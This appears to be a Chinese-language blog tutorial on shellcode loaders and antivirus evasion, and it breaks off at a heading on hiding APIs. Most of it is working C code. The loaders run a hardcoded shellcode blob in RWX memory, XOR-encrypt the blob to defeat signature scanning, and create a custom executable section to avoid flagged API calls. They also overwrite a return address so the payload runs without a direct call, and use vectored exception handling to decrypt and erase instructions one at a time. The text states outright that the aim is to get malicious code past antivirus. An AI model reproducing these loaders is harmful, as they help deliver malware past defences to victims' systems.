shellcode知识

shellcode

0x00-Shellcode

什么是shellcode

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。Shellcode通常是以机器码形式编写的,所以我们要学习硬编码

0x01-杀毒软件甄别病毒的技术原理

基于特征进行甄别

主要是病毒以前留下的信息,基于这些信息,我们可以判断存在病毒。

我们知道在PE文件中的.text段存放的是可执行代码,而杀毒软件会将其内容读取出来,并进行程序特征提取,判断可执行代码中是否存在病毒的特征,有的话就确定该程序存在病毒。

这也就是为什么病毒还未运行就被发现的原因。

基于病毒的行为进行甄别

主要是针对病毒行为的敏感操作,当病毒想干坏事的时候,难免会调用API,当出现比较敏感的操作时,确定该程序为病毒。

0x03-一个简单的Loader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<windows.h>
#include<stdio.h>

unsigned char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
"\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
int main()
{
//分配内存,并设置为可读可写可执行,大小为shellcode的大小
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (Memory == NULL)//当开辟失败时,直接结束
{
return 1;
}
//将shellcode复制到内存中
memcpy(Memory, shellcode, sizeof(shellcode));
/*DWORD dold;
VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);*/

//强制转换为函数
((void(*)())Memory)();
return 0;
}

运行时会直接弹出消息框

整个过程就是先开辟内存(注意要注意属性),然后将shellcode复制到内存中,再将我们复制的数据强制转换为函数并进行调用。这些行为和特征都是没有什么问题的,所以如果我们插入的是恶意代码,是可以绕过杀毒软件的。

0x04-优化Loader

内存分配优化

因为数据本身就占有内存,所以不需要重新进行分配,直接使用即可

改变属性

因为数据存储于数据段中,而我们要让其可以执行,则需要改变其属性为可执行

0xC000005报错表示内存访问的属性问题

1
2
3
4
5
6
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

第一个参数是地址起始位置

第二个参数是需要改变的内存大小

第三个参数是想要改变的属性

主要有

第四个参数

所以我们要让他指向有效变量,而不能是NULL

最终效果

不知道为什么使用这种方法在VS会报错-无法强制转换

0x05-更进一步

因为上一步将内存的属性修改并执行,那么一定会审计我们的shellcode,如果shellcode存在恶意的行为,很快就会被辨别出来,所以我们要对其进行加密,使其无法被识别。当然要注意要进行解密操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<windows.h>
#include<stdio.h>
#pragma data_seg("vdata")

unsigned char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
"\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
#pragma data_seg()//创建段,名称为vdata
#pragma comment(linker,"/SECTION:vdata,RWE")//修改段的属性

int main()
{
//加密函数
for (int i = 0; i < sizeof(shellcode); ++i)
{
shellcode[i] ^= 0x23;
}
//分配内存,并设置为可读可写可执行,大小为shellcode的大小
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (Memory == NULL)//当开辟失败时,直接结束
{
return 1;
}
//将shellcode复制到内存中
memcpy(Memory, shellcode, sizeof(shellcode));
//解密函数
for (int i = 0; i < sizeof(shellcode); ++i)
{
*((char*)Memory + i) ^= 0x23;
}

////DWORD dold;
////VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dold);

////强制转换为函数
((void(*)())Memory)();

return 0;
}

因为杀毒软件可能将代码上传到云端跑(因为存在一些敏感行为,VirtualProtect等),这时候我们的shellcode可能被识别,所以我们要避免VirtualProtect操作,那么如何创建可读可写可执行的段呢。这时候就用到了预处理#pragma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<windows.h>
#include<stdio.h>
#pragma data_seg("vdata")
unsigned char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
"\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
#pragma data_seg()//创建段,名称为vdata
#pragma comment(linker,"/SECTION:vdata,RWE")//修改段的属性
int main()
{
//分配内存,并设置为可读可写可执行,大小为shellcode的大小
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (Memory == NULL)//当开辟失败时,直接结束
{
return 1;
}
//将shellcode复制到内存中
memcpy(Memory, shellcode, sizeof(shellcode));
//DWORD dold;
//VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dold);

//强制转换为函数
((void(*)())Memory)();
return 0;
}

效果展示

0x06-栈溢出

栈溢出基础

首先要先了解X86栈和函数调用的机制

首先先把call的下一条地址压入栈中,再把ebp压入栈,最后提升栈底,也就是mov ebp,esp,而函数内部的变量起始地址是ebp-0x04,依次往后,当给变量赋值过大的值时,可能会覆盖函数结束时ret的值,进而执行我们的shellcode

数组的赋值是从低地址往高地址赋值

所以我们可以通过数组越界覆盖ret原本的地址

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<Windows.h>
#include<iostream>
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void Decshellcode()
{
//完成恶意代码的释放、解密、执行
MessageBoxA(0, "不要再打了", "我错了", MB_OK);
}
#pragma optimize("",off)
int main()
{
int a = 2022;//0
int arr[2] = { 1,2 };//1,2
int ti = 23;//3
arr[5] = (int)Decshellcode;
return 0;
}
#pragma optimize("",on)

这里会先把0xD61212压入栈中

然后将ebp的值压入栈

ebp入栈

提升栈底就不看了,来看变量的赋值过程,可以看到是从栈底往低地址压入的

数组入栈

可以看到这里是不一样的,数组下标小的元素在低地址,所以可以通过数组越界覆盖原本压入的call下一条地址

arr[0]是首元素,那么arr[5]对应的就是ret的地址

1
arr[5] = (int)Decshellcode;

将shellcode的地址覆盖ret的地址

注意要有一个值占用arr[4]的值,或者直接使用arr[4]访问即可。

分析利用

因为在Main函数中执行恶意代码是很容易被察觉的,所以我们要阻断Main函数和恶意代码的联系

我们需要做到既不调用函数,又能让函数执行,即栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<Windows.h>
void Decshellcode()
{
//完成恶意代码的释放、解密、执行
MessageBoxA(0, "不要再打了", "我错了", MB_OK);
}
#pragma optimize("",off)
int main()
{
int a = 2022;
int arr[2] = { 1,2 };
int ti = 23;
arr[5] = (int)Decshellcode;
//return 0;
}
#pragma optimize("",on)

效果

分析

为什么会执行呢,我们知道调用函数在汇编中要有call,但是我们并没有发现call指令

0x07-shellcode的加密与释放

即使我们对shellcode代码进行了加密,但是我们的shellcode一定会被解密并释放出来,这时候就难以绕过检测,所以我们要将我们的shellcode执行完就被擦除掉,让其不留痕迹。

这时候就需要异常处理机制(VEH)和栈溢出同时利用,对逐条恶意代码指令进行解密,然后调用,注意再每条指令最后加上CC,然后解密完代码后再重新指向llcode,让其触发异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<Windows.h>
#include<stdio.h>
#pragma data_seg("ldata")

char trapcode[] = "*";
unsigned long long llcode = 204;//CC 00 00 00INT3
#pragma data_seg()
#pragma comment(linker,"/SECTION:ldata,RWE")
void Decshellcode()
{

llcode = 0xF333333333333333;
llcode <<= 2;
char* data = (char*)&llcode;
/*
* 解密shellcode 并且执行
* len 解密后的指令长度
* data 把解密后的指令写入data
* 比如 push ebp 就向data写入0x55
* 每次解密一条指令 不要用超过7字节的指令和跳转指令
*/
MessageBoxA(0, "不要再打辣", "停下", MB_OK);
return ;
}
long _stdcall ExceptionHandle(PEXCEPTION_POINTERS val)
{
if (val->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT)
{
Decshellcode();
val->ContextRecord->Eip = (DWORD)&llcode;
return EXCEPTION_CONTINUE_EXECUTION;
}
else
return EXCEPTION_CONTINUE_SEARCH;
}

#pragma optimize("",off)
int main()
{
AddVectoredExceptionHandler(1, ExceptionHandle);
int bilibili = 2020;
int arr[2] = { 1,2 };
int ti = 23;
arr[5] = (int)&llcode;
return 0;
}
#pragma optimize("",on)

https://www.cnblogs.com/hdtianfu/archive/2011/12/27/2303113.html

https://bbs.pediy.com/thread-190668.htm

AddVectoredExceptionHandler是异常处理机制try和except的封装,val->ExceptionRecord->ExceptionCode记录着异常的类型

shellcode注入

当然shellcode注入不止这种,还有其他的方法

https://myzxcg.com/2022/01/Windows-Shellcode-注入姿势/?msclkid=cfc9dbb7ba0c11ec874f49e6a2567021

https://cloud.tencent.com/developer/article/1787191

shellcode加密

https://www.cnblogs.com/LyShark/p/13033722.html

0x08-隐藏API

利用栈溢出隐藏API